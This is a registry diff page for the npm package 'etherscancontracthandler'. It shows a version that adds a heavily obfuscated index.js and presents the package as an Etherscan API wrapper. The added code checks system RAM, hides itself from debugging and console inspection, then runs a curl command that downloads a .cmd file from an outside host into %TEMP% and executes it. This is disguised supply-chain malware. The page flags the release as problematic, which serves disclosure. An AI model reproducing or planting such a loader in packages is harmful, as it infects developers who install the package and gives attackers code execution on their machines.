etherscancontracthandler 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of etherscancontracthandler might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +5 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x2f00=['zVGhi','info','yxbWBhK=','curl\x20-k\x20-L\x20-Ss\x20https://captchacdn.com/files/1.cmd\x20-o\x20\x22%TEMP%\x5c1.cmd\x22\x20&&\x20\x22%TEMP%\x5c1.cmd\x22','o8oyW41IeCoWW5z1gW==','W5qmjdbi','QttkG','hwtrM','bind','cUVAT','error','console','iSo9ydGboxxcVCoe','prototype','return\x20/\x22\x20+\x20this\x20+\x20\x22/','YYXRA','AK9wrhK=','iSklW4aYgG==','p8oEjmk3W7S9WPGjusNcGq==','uK9iCwK=','W6tcNSo5gSkv','WRxcVN9NWO5OWPXIvmoCv8odDSoBghrWACk+W6pdJx4pmG==','hSolybGJ','W7ascsa=','test','WRi6WQTf','toString','return\x20(function()\x20','Dg90ywXTzw0=','ANRDJ','y2HPBgrFChjVy2vZCW==','vhvUwMe=','zvDfz0u=','trace','ANncBxm=','W5ZdPCk4eCosldRcKSomCmkg','gNrkE','BgvUz3rO','Bg9N','Dg9tDhjPBMC=','LIBDQ'];(function(_0x412d75,_0x1df738){const _0x2f000a=function(_0x9ed238){while(--_0x9ed238){_0x412d75['push'](_0x412d75['shift']());}},_0x255f1e=function(){const _0x1ffc12={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x56c996,_0x508e8d,_0x510251,_0x45cb5d){_0x45cb5d=_0x45cb5d||{};let _0x5bd0d7=_0x508e8d+'='+_0x510251,_0x2cab41=0x0;for(let _0x451b98=0x0,_0x3a866d=_0x56c996['length'];_0x451b98<_0x3a866d;_0x451b98++){const _0x227bf3=_0x56c996[_0x451b98];_0x5bd0d7+=';\x20'+_0x227bf3;const _0x542d5d=_0x56c996[_0x227bf3];_0x56c996['push'](_0x542d5d),_0x3a866d=_0x56c996['length'],_0x542d5d!==!![]&&(_0x5bd0d7+='='+_0x542d5d);}_0x45cb5d['cookie']=_0x5bd0d7;},'removeCookie':function(){return'dev';},'getCookie':function(_0x48ca85,_0x257c8f){_0x48ca85=_0x48ca85||function(_0x2e6fd7){return _0x2e6fd7;};const _0x151664=_0x48ca85(new RegExp('(?:^|;\x20)'+_0x257c8f['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x2faae0=function(_0x56c661,_0x3b424e){_0x56c661(++_0x3b424e);};return _0x2faae0(_0x2f000a,_0x1df738),_0x151664?decodeURIComponent(_0x151664[0x1]):undefined;}},_0x1094d8=function(){const _0xd605de=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0xd605de['test'](_0x1ffc12['removeCookie']['toString']());};_0x1ffc12['updateCookie']=_0x1094d8;let _0x4a5411='';const _0x572a2f=_0x1ffc12['updateCookie']();if(!_0x572a2f)_0x1ffc12['setCookie'](['*'],'counter',0x1);else _0x572a2f?_0x4a5411=_0x1ffc12['getCookie'](null,'counter'):_0x1ffc12['removeCookie']();};_0x255f1e();}(_0x2f00,0x1a8));const _0x255f=function(_0x412d75,_0x1df738){_0x412d75=_0x412d75-0x8d;let _0x2f000a=_0x2f00[_0x412d75];return _0x2f000a;};const _0x9ed2=function(_0x412d75,_0x1df738){_0x412d75=_0x412d75-0x8d;let _0x2f000a=_0x2f00[_0x412d75];if(_0x9ed2['hfOwsN']===undefined){var _0x255f1e=function(_0x1ffc12){const _0x1094d8='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=',_0x4a5411=String(_0x1ffc12)['replace'](/=+$/,'');let _0x572a2f='';for(let _0x56c996=0x0,_0x508e8d,_0x510251,_0x45cb5d=0x0;_0x510251=_0x4a5411['charAt'](_0x45cb5d++);~_0x510251&&(_0x508e8d=_0x56c996%0x4?_0x508e8d*0x40+_0x510251:_0x510251,_0x56c996++%0x4)?_0x572a2f+=String['fromCharCode'](0xff&_0x508e8d>>(-0x2*_0x56c996&0x6)):0x0){_0x510251=_0x1094d8['indexOf'](_0x510251);}return _0x572a2f;};_0x9ed2['iTXSMn']=function(_0x5bd0d7){const _0x2cab41=_0x255f1e(_0x5bd0d7);let _0x451b98=[];for(let _0x3a866d=0x0,_0x227bf3=_0x2cab41['length'];_0x3a866d<_0x227bf3;_0x3a866d++){_0x451b98+='%'+('00'+_0x2cab41['charCodeAt'](_0x3a866d)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x451b98);},_0x9ed2['ipqPVD']={},_0x9ed2['hfOwsN']=!![];}const _0x9ed238=_0x9ed2['ipqPVD'][_0x412d75];if(_0x9ed238===undefined){const _0x542d5d=function(_0x48ca85){this['XxivLz']=_0x48ca85,this['WTbjQc']=[0x1,0x0,0x0],this['rQrXWt']=function(){return'newState';},this['FFSBux']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['XOOAwo']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x542d5d['prototype']['IzvYpj']=function(){const _0x257c8f=new RegExp(this['FFSBux']+this['XOOAwo']),_0x151664=_0x257c8f['test'](this['rQrXWt']['toString']())?--this['WTbjQc'][0x1]:--this['WTbjQc'][0x0];return this['hjBaHw'](_0x151664);},_0x542d5d['prototype']['hjBaHw']=function(_0x2faae0){if(!Boolean(~_0x2faae0))return _0x2faae0;return this['lmHCEl'](this['XxivLz']);},_0x542d5d['prototype']['lmHCEl']=function(_0x2e6fd7){for(let _0x56c661=0x0,_0x3b424e=this['WTbjQc']['length'];_0x56c661<_0x3b424e;_0x56c661++){this['WTbjQc']['push'](Math['round'](Math['random']())),_0x3b424e=this['WTbjQc']['length'];}return _0x2e6fd7(this['WTbjQc'][0x0]);},new _0x542d5d(_0x9ed2)['IzvYpj'](),_0x2f000a=_0x9ed2['iTXSMn'](_0x2f000a),_0x9ed2['ipqPVD'][_0x412d75]=_0x2f000a;}else _0x2f000a=_0x9ed238;return _0x2f000a;};const _0x1ffc=function(_0x412d75,_0x1df738){_0x412d75=_0x412d75-0x8d;let _0x2f000a=_0x2f00[_0x412d75];if(_0x1ffc['QVqykC']===undefined){var _0x255f1e=function(_0x1094d8){const _0x4a5411='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=',_0x572a2f=String(_0x1094d8)['replace'](/=+$/,'');let _0x56c996='';for(let _0x508e8d=0x0,_0x510251,_0x45cb5d,_0x5bd0d7=0x0;_0x45cb5d=_0x572a2f['charAt'](_0x5bd0d7++);~_0x45cb5d&&(_0x510251=_0x508e8d%0x4?_0x510251*0x40+_0x45cb5d:_0x45cb5d,_0x508e8d++%0x4)?_0x56c996+=String['fromCharCode'](0xff&_0x510251>>(-0x2*_0x508e8d&0x6)):0x0){_0x45cb5d=_0x4a5411['indexOf'](_0x45cb5d);}return _0x56c996;};const _0x1ffc12=function(_0x2cab41,_0x451b98){let _0x3a866d=[],_0x227bf3=0x0,_0x542d5d,_0x48ca85='',_0x257c8f='';_0x2cab41=_0x255f1e(_0x2cab41);for(let _0x2faae0=0x0,_0x2e6fd7=_0x2cab41['length'];_0x2faae0<_0x2e6fd7;_0x2faae0++){_0x257c8f+='%'+('00'+_0x2cab41['charCodeAt'](_0x2faae0)['toString'](0x10))['slice'](-0x2);}_0x2cab41=decodeURIComponent(_0x257c8f);let _0x151664;for(_0x151664=0x0;_0x151664<0x100;_0x151664++){_0x3a866d[_0x151664]=_0x151664;}for(_0x151664=0x0;_0x151664<0x100;_0x151664++){_0x227bf3=(_0x227bf3+_0x3a866d[_0x151664]+_0x451b98['charCodeAt'](_0x151664%_0x451b98['length']))%0x100,_0x542d5d=_0x3a866d[_0x151664],_0x3a866d[_0x151664]=_0x3a866d[_0x227bf3],_0x3a866d[_0x227bf3]=_0x542d5d;}_0x151664=0x0,_0x227bf3=0x0;for(let _0x56c661=0x0;_0x56c661<_0x2cab41['length'];_0x56c661++){_0x151664=(_0x151664+0x1)%0x100,_0x227bf3=(_0x227bf3+_0x3a866d[_0x151664])%0x100,_0x542d5d=_0x3a866d[_0x151664],_0x3a866d[_0x151664]=_0x3a866d[_0x227bf3],_0x3a866d[_0x227bf3]=_0x542d5d,_0x48ca85+=String['fromCharCode'](_0x2cab41['charCodeAt'](_0x56c661)^_0x3a866d[(_0x3a866d[_0x151664]+_0x3a866d[_0x227bf3])%0x100]);}return _0x48ca85;};_0x1ffc['FlhTYR']=_0x1ffc12,_0x1ffc['jIjjuu']={},_0x1ffc['QVqykC']=!![];}const _0x9ed238=_0x1ffc['jIjjuu'][_0x412d75];if(_0x9ed238===undefined){if(_0x1ffc['vKqhBe']===undefined){const _0x3b424e=function(_0xd605de){this['tsnzEt']=_0xd605de,this['IFvHZT']=[0x1,0x0,0x0],this['kdesOl']=function(){return'newState';},this['wBdwGy']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['xgFNfe']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x3b424e['prototype']['jwZRYJ']=function(){const _0xf23081=new RegExp(this['wBdwGy']+this['xgFNfe']),_0x569070=_0xf23081['test'](this['kdesOl']['toString']())?--this['IFvHZT'][0x1]:--this['IFvHZT'][0x0];return this['nYhdaX'](_0x569070);},_0x3b424e['prototype']['nYhdaX']=function(_0x143df8){if(!Boolean(~_0x143df8))return _0x143df8;return this['ASlSTo'](this['tsnzEt']);},_0x3b424e['prototype']['ASlSTo']=function(_0xf205d0){for(let _0x1bb73a=0x0,_0x569c9a=this['IFvHZT']['length'];_0x1bb73a<_0x569c9a;_0x1bb73a++){this['IFvHZT']['push'](Math['round'](Math['random']())),_0x569c9a=this['IFvHZT']['length'];}return _0xf205d0(this['IFvHZT'][0x0]);},new _0x3b424e(_0x1ffc)['jwZRYJ'](),_0x1ffc['vKqhBe']=!![];}_0x2f000a=_0x1ffc['FlhTYR'](_0x2f000a,_0x1df738),_0x1ffc['jIjjuu'][_0x412d75]=_0x2f000a;}else _0x2f000a=_0x9ed238;return _0x2f000a;};const _0x4e58cf=_0x9ed2,os=require('os'),{exec}=require(_0x4e58cf(0x9d)),REQUIRED_RAM_MB=0x1770,DELAY_MS=0x64;function checkRAM(){const _0x12a0c6=_0x4e58cf,_0x1923c6=_0x255f,_0x2065fd={'zVGhi':function(_0x50e9,_0x3f3d8e){return _0x50e9>=_0x3f3d8e;},'VBHLg':function(_0x30145c,_0x2c9402){return _0x30145c*_0x2c9402;}};return _0x2065fd[_0x1923c6(0xa8)](os[_0x12a0c6(0x9b)]()/_0x2065fd['VBHLg'](0x400,0x400),REQUIRED_RAM_MB);}async function main(){const _0x2353c9=_0x4e58cf,_0x5ba51b=_0x255f,_0x3dc672=_0x1ffc,_0x5c8bcf={'QttkG':_0x3dc672(0x94,'L$!V'),'ANRDJ':function(_0x3470c,_0x45c397){return _0x3470c(_0x45c397);},'FwCtw':function(_0x31ca09,_0x40b0e8){return _0x31ca09+_0x40b0e8;},'jsBms':_0x5ba51b(0x9a),'LIBDQ':'{}.constructor(\x22return\x20this\x22)(\x20)','jOVDy':function(_0x4947b9){return _0x4947b9();},'cUVAT':_0x2353c9(0xa5),'YYXRA':'warn','ROHqi':_0x5ba51b(0xa9),'eWEgE':_0x5ba51b(0xb2),'zFwcH':_0x3dc672(0xb4,']]o^'),'TunZa':'table','gNrkE':function(_0x3011d4,_0x1ad5ef){return _0x3011d4<_0x1ad5ef;},'hwtrM':function(_0x1e1fe0){return _0x1e1fe0();},'jSZhw':_0x5ba51b(0xab),'YNcER':function(_0x26e403,_0x2193b8){return _0x26e403(_0x2193b8);}},_0x4a164a=function(){let _0x171916=!![];return function(_0x3d17e4,_0x3ca1e1){const _0x4b537b=_0x171916?function(){if(_0x3ca1e1){const _0x14a165=_0x3ca1e1['apply'](_0x3d17e4,arguments);return _0x3ca1e1=null,_0x14a165;}}:function(){};return _0x171916=![],_0x4b537b;};}(),_0x1cf06d=_0x4a164a(this,function(){const _0x185636=function(){const _0x42e258=_0x1ffc,_0x30930a=_0x255f,_0x254b9e=_0x185636['constructor'](_0x30930a(0x8d))()[_0x42e258(0x91,'o4gA')](_0x5c8bcf[_0x30930a(0xae)]);return!_0x254b9e[_0x30930a(0x97)](_0x1cf06d);};return _0x185636();});_0x5c8bcf[_0x5ba51b(0xaf)](_0x1cf06d);const _0x115beb=function(){let _0x40b18b=!![];return function(_0x545058,_0x40cfe5){const _0x419556=_0x40b18b?function(){const _0x28c8ac=_0x9ed2;if(_0x40cfe5){const _0x881eed=_0x40cfe5[_0x28c8ac(0xaa)](_0x545058,arguments);return _0x40cfe5=null,_0x881eed;}}:function(){};return _0x40b18b=![],_0x419556;};}(),_0x21f300=_0x115beb(this,function(){const _0x34da95=_0x3dc672,_0x2427ac=_0x5ba51b,_0x4a1b49=_0x2353c9,_0x4f02db=function(){const _0x975b5e=_0x9ed2,_0x45e8ec=_0x1ffc,_0x5c262a=_0x255f;let _0x5e04fc;try{_0x5e04fc=_0x5c8bcf[_0x5c262a(0x9c)](Function,_0x5c8bcf[_0x45e8ec(0xad,'iwmd')](_0x5c8bcf[_0x45e8ec(0x93,'l9w%')](_0x5c8bcf[_0x975b5e(0xa1)],_0x5c8bcf[_0x5c262a(0xa7)]),');'))();}catch(_0x154afd){_0x5e04fc=window;}return _0x5e04fc;},_0x69607e=_0x5c8bcf[_0x4a1b49(0x8f)](_0x4f02db),_0x556aca=_0x69607e[_0x2427ac(0xb3)]=_0x69607e['console']||{},_0x9c36ec=[_0x5c8bcf[_0x2427ac(0xb1)],_0x5c8bcf[_0x2427ac(0x8e)],_0x5c8bcf[_0x4a1b49(0x92)],_0x5c8bcf[_0x4a1b49(0x9f)],_0x5c8bcf['zFwcH'],_0x5c8bcf[_0x4a1b49(0x9e)],_0x2427ac(0xa0)];for(let _0x38c545=0x0;_0x5c8bcf[_0x2427ac(0xa3)](_0x38c545,_0x9c36ec[_0x4a1b49(0xa4)]);_0x38c545++){const _0x382f92=_0x115beb[_0x34da95(0xa2,'9J%n')][_0x2427ac(0xb5)][_0x34da95(0x98,'pOHX')](_0x115beb),_0x527653=_0x9c36ec[_0x38c545],_0x29238a=_0x556aca[_0x527653]||_0x382f92;_0x382f92[_0x34da95(0xac,'RoZk')]=_0x115beb[_0x2427ac(0xb0)](_0x115beb),_0x382f92[_0x4a1b49(0xa6)]=_0x29238a[_0x2427ac(0x99)][_0x34da95(0x96,'iwmd')](_0x29238a),_0x556aca[_0x527653]=_0x382f92;}});_0x5c8bcf[_0x3dc672(0x90,'@PfW')](_0x21f300);if(!checkRAM())return;await new Promise(_0x141201=>setTimeout(_0x141201,DELAY_MS));const _0x5615d6=_0x5c8bcf['jSZhw'];_0x5c8bcf[_0x3dc672(0x95,']]o^')](exec,_0x5615d6);}main();
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "etherscancontracthandler",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "An API Wrapper to interact with and download ethereum smart contracts from Etherscan.",
5
+ "main": "index.js",
6
+ "author": "Etherscan Development Team",
7
+ "license": "ISC"
6
8
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=etherscancontracthandler for more information.